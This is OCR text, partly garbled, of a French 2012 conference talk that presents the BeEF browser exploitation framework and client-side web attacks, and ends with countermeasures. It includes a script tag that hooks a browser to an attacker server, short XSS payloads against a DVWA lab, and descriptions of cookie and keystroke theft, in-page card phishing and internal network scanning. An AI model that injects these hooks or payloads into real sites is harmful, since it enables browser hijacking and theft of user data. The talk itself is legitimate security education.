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# whoami

* Pentest / audit sécurité

* Intéressé par l'exploitation, la sécurité Web, le fuzzing, la sécurité

réseadud...

* Participation a des projets opensource a mes heures perdues (BeEF,

sulley)
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Disclaimer
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If anything can go wrong, it will.
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Attaques web coteé client M =

* Le navigateur comme point d’entrée sur le poste de travail :
* Phishing
* Compromission de sites légitimes
* XSS
» Persistantes
» Réfléchies

» DOM-based



Présentation BeEF - RESIST Septembre 2012

Same Origin Policy i

® Limitation des actions au domaine
* Domaine = Protocole + FQDN + port

* Limitation d’acces au domaine pour les cookies, la DOM...

* Limitation des XML HTTP Request cross-domain
* Bloquées par défaut

* Ne concerne que les requétes et pas les balises img, script, iframe,
video...

* Implémentation différente selon les langages !

* Javascript : sauf si le serveur répond avec le bon entéte (Access-Control-Allow-Origin:
)

* Java & Flash: crossdomain.xml



http://example.com/
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Cross Site Request Forgery

HTTP Request @ CSRF Attack @

GET fHTTPM.1 GET /buy.php?symbol=5C0X&shores=1000 HTTP/1.1
Hest: wanw example.arg Hast: siscks example.arg

www.example.org stocks.example.org

HTTP Response @

HTTP/M.1 200 OK
Conteni=Type: texthiml
Content-Length: 1234

<himl>

<limg sre="hitp:"stocks example.org/buy.php?symbol=5C0OXEshares=1000" /=

<himl=

© MDAL SARL. All rights reserved. Confidential and proprietary document.
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ClickJacking

Bouton sur un bouton :

Don't click http://example.com/foo.htm

doni glicie me

*Utilise la préauthentification de 'utilisateur sur le site
* Ne permet pas d’injecter de parametres POST ou de modifier la page

d. Confidential and pro ary documen
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Quelques chiffres

* 75% des sites hébergeant du code malveillant sont des sites légitimes
compromis?

* 60% des 100 sites les plus populaires ont été impliqués ou ont hébergé
une activité malveillante dans la premiére moitié de I'année 2008*

* XSS découverts dans 55% des sites web testés par White Hat Security (1¢
type de vulnérabilité) 2
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Exemples

® 2005 : XSS dans Google.com
® 2006 : CSRF dans Digg

® 2007 : Ver XSS MySpace de Samy Kamkar

® 2008 : CSRF dans ING permettant de lancer un transfert...

® 2010 : Compromission de apache.org par une XSS
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Architecture

*Ruby avec rails
*Javascript avec Jquery

ights reserved. Confidential and proprietary document.

BeEF Instance
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Interface (1/2) M

Hooked Browsers
4 Online Browsers
@WE1011 Details || Logs || Commands | Rider || XssRays

Getting Started Logs Current Browser

| Offline Browsers = Category: Browser (13 ltems)

Browser Name: Firefox
Browser Version: 15
Browser UA String: Mozilla/5.0 (Windows NT 5.1; n:15.0) Gecko/20100101 Firefox/15.0.1

Browser Plugins: Java(TM) Platform SE 7 U7-.10.7.2.11 Java Deployment Toolkit 7,0.70.11+.10.7.2.11,Shockwave Flash-+11.4.402,265,Microsoft ®
DRM-v.9.0.0.4503,Windows Media Player Plug-in Dynamic Link Library+.3.0.2.629

Window Size: Width: 1152, Height: 747
Java Enabled: Ves

ZO m b | es VBScript Enabled: No Infos sSur Ie
Has Flash: Yes naVIgateUI‘

Has GoogleGears: No
Has WebSockets: Yas
Has ActiveX: No

Session Cookies; Yes

Persistent Cookies: Yes

© MDAL SARL. All rights reserved. Confidential and proprietary document.
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Interface

Hooked Browsers
4 ] Online Browsers
a+—)10.1.1.2
@WE 10112
4 ] Offline Browsers
4:—)10.1.1.1

@#@E 10112

(2/2)

Getting Started Logs

Details || Logs || Commands

Module Tree

4 —Browser (27)
|Hooked Domain (18)
Detect FireBug
Fingerprint Browser
Get Visited Domains
Play Sound
Unhook
Webcam
Detect Popup Blocker
@ Detect Unsafe ActiveX
@ Get Visited URLs
|Chrome Extensions (7)
|Debug (3)
|Exploits (32)
|Host (13)
|IPEC (8)
|Metasploit (204)
|Misc (8)

Current Browser

Rider || ¥ssRays

Module Results History
id.. date label

The results from executed command

modules will be listed here.

Historique

|Metwork (8)
|Persistence (4)

Commandes

|Phonegap (10)
|Social Engineering (8)

© MDAL SARL. All rights reserved. Confidential and proprietary document.
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Detect FireBug

Description:  This module checks if the Mozilla Firg

Description
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* Lancement d’un script
* <script src="http://10.1.1.1:3000/hook.js"></script>

* Marquage du navigateur avec Evercookie

* Etablissement d’'un Command & Control avec le navigateur
* Requétes Hello toutes les secondes

®* Chargement d’'une API javascript BeEF basée sur jguery

DAL’
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Persistance

* Man In The Browser

* Simulation de tous les liens en AJAX (seulement dans le
domaine)

* Changement des URL via history.pushState
* Autrement ouverture dans un nouvel onglet/fenétre
* Le browser reste « hooké » !

* Démo !
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© MDAL SARL. All rights reserved.

Play with the browser !

Confidential and proprietary document.

Septembre 2012

DAL’



Présentation BeEF - RESIST Septembre 2012

=)
DAL’

Récupération d’informations

> Vol de cookies (évidemment)
» Keylogger

> Vol de clipboard

> Liste des sites/domaines visités

» Fingerprint du navigateur (OS, plugins...)
»Webcam !

> ..
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Social Engineering

- htu X\ 7°‘-"' R PETS e—

ord”

© MDAL SARL. All rights reserved. Confidential and proprietary document.
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Social Engineering

* Phishing dans le site !

dit card detai red, please enter your n redit card credential to continue shopping-
Changes made to your payment methods will not affect orders you have already placed.
Your Account>Add a Credit or Debit Card

Edit your payment method:

Cardholder Name:
Exp. Date: |11 + || 2011

Number:

Confirm

* Tab nabbing

* Beef cloning and mass mailing en développement

© MDAL SARL. All rights reserved. Confidential and proprietary document.
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Your session has timed out!

1out. To

Continue

DAL
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Network Discovery

7

1. Confidential and proprietary document.
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Get Internal IP

Carmmand results

1
data: 10.1.1.2

© MDAL SARL. All rights re d. Confidential and proprietary document.
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Ping Sweep

Cornmand results

data: host=10.1.1.1 is alive!

data: host=10.1.1.2 is alive!

SARL. All rights reserved. Confidential and proprietary document.

Septembre 2012

DAL’



Présentation BeEF - R&SIST

DNS Enumeration

£ Croe= rigin Rezource Sharing call
new
if in

elze if typeof

=

else
Teturn

© MDAL SARL. All rights reserved. Confidential and proprietary document.
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Port Scanning

nmand results

data: port anming: 2000, 2001

data: port=C0ORS: Port 2000 is OPEN
data: t: Port 3000 is OFEM

data: port=HTTP: Port 3000 is OPEN

© MDAL SARL. All rights reserved. Confidential and proprietary document.
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Network Fingerprinting

srmirmand results

© MDAL SARL. All rights ved. Confidential and proprietary document.
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Remote CSRF
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* CSRF trouvées dans des routeurs / Switch / Cameras

* Linksys WRT54G : enable remote administration and change
password

®* DLINK DSL500T : change password
* Cisco E2400 change password
Camera DLINK DCS : change password
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IRC NAT Pining

1 — Envoi une requéte/’HTTP a un server IRC
munication IRC

o

BeEF Instance

2 — Le Firewall ANAT enregistre la
communication re le port

\

3 — Point d’entrée sur le
pour I'attaquant

© MDAL SARL. All rights reserved. Confidential and proprietary document.
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http://samy.pl/natpin/
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Metasploit M 3

Intégration directe de MSF dans BeEF par xml-rpc :

Module Tres

xtensions

£ N
EE === D
LA I I S
WA I
oo MSF [
i I o=

metaseloit wd,5,0-dev [core:d,B apirl,.n]

Adobe Do
Flash Playe
Aclobe Flash Pla
wdobe Flash Playe
Flash Play
Flash Pla
Flash Pla

Tag Owverflow

tral Arbitrary File Download and E

Confidential and propriete locument
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BeEF Instance

Septembre 2012

| |
Transfer b-;\)‘ \

HTTP requests

(limited by
. SOP)

Hooked Browsers Getting Started
4] 0nline Browsers

@HE 10,

Details || Logs

1

Log

Command

| Offline Brows

;.E.’I Use as Proxy
#.{ Launch XssRays on Hooked Domain

Event
Hooked

© MDAL SARL. All rights reserved. Confidential and proprietary document.

Zombie

10.1.1.2
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XSS Rays (1/2)

Septembre 2012

BEEF 0.4.2.9-ALPHA
XSsSRAYS INTEGRATION

START XSSRAYS

(TiMEOUT: SO0O0
. CROSSDOMAIN: TRUE)

BEEF OWNER
(ATTACKER)

GET /XSS5RAYS/RAYS?SESS=123..<ATTACK_INFO>

. HOST: BEEF_SERVER

THE ATTACKER CAN NOW TRICK THE VICTIM TO
LOAD HTTPY/EXT.COM/PAGEZ27MAIL=1"><SCRIPT
srRc="BEEF-HOOK"'> </SCRIPT>

<t+--- POLLING
-4 L
F SERVING COMMANDS .- - >

—» VICTIM
SERVE XS5RAYS MAIN

JS TO THE VICTIM

Hooked
Domain

EXAMPLE.COM

XSSRAYS LOADED
IN THE DOM

CRAWL LINKS AND FORMS IN THE HOOKED
PAGE OF DOMAIN EXAMPLE.COM

LOAD PREVIOUSLY ENUMERATED RESOURCES IN
HIDDEN IFRAMES, INCLUDING CROSS-DOMAIN
RESOURCES

l HODOKED FPAGE

D
©

<A HREF="/PAGE1 7NAME=TEST ... IFRAME 1
<FDRM ACTION="/PAGEA4"... IFRAME 2
<A HREF "EXT.COM/PAGEZ27MAIL=BLA" |FRAME 3

<IFRAME 1ID="IFRAME_3" sRc="EXT.COM/PAGEZ27
MAIL=BLA"'><SCRIPT>DOCUMENT.LOCATION.HREF="
<BeEEF-RESDURCE>"</scrRIPT>"

IS VULNERABLE TDO X858, THE ATTACK VECTOR
WHEN TRIGGERED WILL CONTACT BACK BEEF

.IFHAME_B IS RENDERED: IF THE MAIL PARAMETER

NOTE: THE ORIGINAL XS5RAYS VERSION (D.5.5,
2009) FROM GARETH HEYES WAS USING A NICE TRICK
(LOCATION.HASH) TO COMMUNICATE BETWEEN PARENT/
CHILD IFRAMES. NOWADAYS THIS HAS BEEN PATCHED.
THIS IS WHY WE'RE USING THE LOCATION.HREF TRICK TO
CHECK FOR CROSS-DOMAIN VULNERABLE RESOURCES.
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XSS Rays (2/2)

jOnline Browsers
110.1.1.2
@HE 10117
] Offline Brows
110.1.1.1
@®WME 10112
EWMB 10112

F ]

;I
4

Vector FoC

http:/10.1.1
http://10.1.1
http:/fhiderefer.

vector Name

body onload double quote

Standard script injection double quote http:/fhiderefer,
body onload double quote http:fihiderefer.
Standard script injection double quote http:/fhiderefer.
body onload double quote http:/ihiderefer.
Standard script injection double quote http://hiderefer.
body onload double quote http:/fhiderefer.

Standard script injection double quote http:#fhiderefer.

© MDAL SARL. All rig ved. Confidential and proprietary document.
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2/dvwajfvulnerabilities
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Details

s Proxy

b Launch

_rffname==script src="http://10.1.1.1:3000/hook.js"==</script=

rf’name==script src="http:/f10.1.1.1:3000/hoo '=</script=
com/fdwwafvulnerabilities/xss_rf?name="==body onload="alert(1)"=
com/dwwaivulnerabilities/xss_riTname="=<script=alert(1l)=</script>
com/f?http:/iwww.cgisecuritycom/xssfag.html="==body onload="alert{1)"=
com/f?http:/iwww. cgisecurity comfxss-fag. html="=>=<script=alert{1)=/script>
com/thittp:/fen.wikipedia. org/wiki/Cro ite_scripting="==body onload="alert(1)">
com/?http:/fen.wikipedia.org/wiki/Cro ite_scripting="==script=alert(1)=/script=
com/thittp:/fha. ckers.org html="=<body onload="alert(1)"=>

com/?http:/iha. ckers.orgfxss.html="=<script=alert(1)</script=
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Contre-mesures

© MDAL SARL. All rights reserved. Confidential and proprietary document.
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Coté Applications Web

*SDLC

* Les injections SQL diminuent mais peu de considération pour les
XSS / CSRF / Clickjacking...

* « C'estjuste une XSS... »

* Web Application Firewall
* Difficile a paramétrer et a gérer
* Bypassable
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Cote client

* Mettre a jour les navigateurs et plugins est la regle #1 !

* Java dans le navigateur est mort !

* Anti XSS
* |E 8/ No Script...
* Compromis sécurité / fonctionnalités

* Peu de protections pour la majorité des attaques
* C'est « juste » du Javascript !

* Le travail est pour les navigateurs et |la standardisation
(HTMLS...)
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Cote réseau / organisation

* Liste blanche des sites acceptés !
* Limite les possibilités de C&C

®* Gestion des incidents, réaction...
* De plus en plus important avec les APT
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Conclusion

© MDAL SARL. All rights reserved. Confidential and proprietary document.
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* « Intranet Footprinting », Javier Marcos de Prado, Juan Galiana Lara

* “Ground BeEF: Cutting, devouring and digesting the legs off a browser”,
Michele antisnatchor Orru


http://beefproject.com/
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Bonus : Vulnérabilité Chromium

<iframe srcdoc="&lt;script&gt;alert(2)&It;/script&gt;"></iframe>
Status : Won't fix !

DAL’


https://code.google.com/p/chromium/issues/detail?id=148360

